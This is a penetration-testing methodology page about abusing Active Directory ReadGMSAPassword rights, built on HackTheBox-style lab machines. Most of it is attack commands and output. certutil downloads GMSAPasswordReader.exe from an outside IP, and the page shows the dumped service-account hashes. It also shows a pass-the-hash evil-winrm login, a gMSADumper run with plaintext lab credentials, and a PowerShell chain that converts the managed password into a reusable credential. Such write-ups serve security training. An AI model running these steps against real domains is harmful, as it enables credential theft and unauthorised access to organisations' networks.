> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/gmsa-password-read.md).

# GMSA Password Read

ReadGMSAPassword allows an attacker to use the password of a Group Managed Service Account which usually has elevated privileges. Environment: Search from HacktheBox

### Initial Detection:

![](/files/izZ55xAX8n8axl3snbp4)

### Reading GMSA using GMSAPasswordReader.exe&#x20;

If users can read the GMSA, it means that we can upload a binary called "GMSAPasswordReader.exe".&#x20;

```
GMSAPasswordReader.exe --accountname ''
```

```
*Evil-WinRM* PS C:\Users\enox> certutil -urlcache -f http://192.168.49.105:443/GMSAPasswordReader.exe GMSAPasswordReader.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Users\enox> . ./GMSAPasswordReader.exe --accountname 'svc_apache'
Calculating hashes for Old Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 1808D2C09D9E6A0EDC419A4B13868C92
[*]       aes128_cts_hmac_sha1 : 8146F49C50041D6F8F70D45D9F26AF27
[*]       aes256_cts_hmac_sha1 : 810B1963081C261DBDA3E91618943A59EA0A9B6DD48BAFA5E30098D0F7412707
[*]       des_cbc_md5          : B6E961D04679DA29

Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 45EA837EDB477DDA17B5822AD768D0D7
[*]       aes128_cts_hmac_sha1 : 9F234A0EEC90B6AF9FC395D85CE938D5
[*]       aes256_cts_hmac_sha1 : 90321B028FB63CD44F37BA7F6829F5CBE4DAA1EE926A909EA9CFC607B52A0CA4
[*]       des_cbc_md5          : B0750E611F7FA14F

```

The rc4\_hmac hash can be used interchangebly with the NTLM hash.

```
evil-winrm -i 192.168.105.165 -u svc_apache$ -H 45EA837EDB477DDA17B5822AD768D0D7                                

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> 
```

So we can just evil-winrm into that machine.&#x20;

### Remotely Read GMSA Passwords&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword>" %}

{% embed url="<https://github.com/micahvandeusen/gMSADumper>" %}

If we for some reason do not have users who can authenticate to winrm we could posssibly use this to retrieve the hash remotely.&#x20;

```
python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
```

#### Converting the GMSA to Powershell Variable for Future Use

So lets say we compromised a user that has GMSA read on user2 and user2 has privileges to do somehting else, we shuold use the following chaing of commands to store the GMSApassword of user2 for future use.

In BloodHound Take a look at the Extra Properties tab of the user we can read hte GMSA password for. The CN:<<mark style="color:red;">BLAHBLAHBLAH</mark>> is important.&#x20;

```
$gmsa = Get-ADServiceAccount -Identity <CN NAME OF ACCOUNT WE WANT TO COMPROMISE> -Properties 'msds-managedpassword'
```

```
$mp = $gmsa.'msds-managedpassword'
```

```
$mp1 = ConvertFrom-ADManagedPasswordBlob $mp
```

```
$passwd = $mp1.'currentpassword'
```

```
$user = '<CN of User of we can read gmsa password>'
```

```
$secpass = ConvertTo-SecureString $passwd -AsPlainText -Force
```

```
$cred = new-object system.management.automation.pscredential $user,$secpass
```

Now we can use the variable creds for future exploitation.&#x20;


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/gmsa-password-read.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
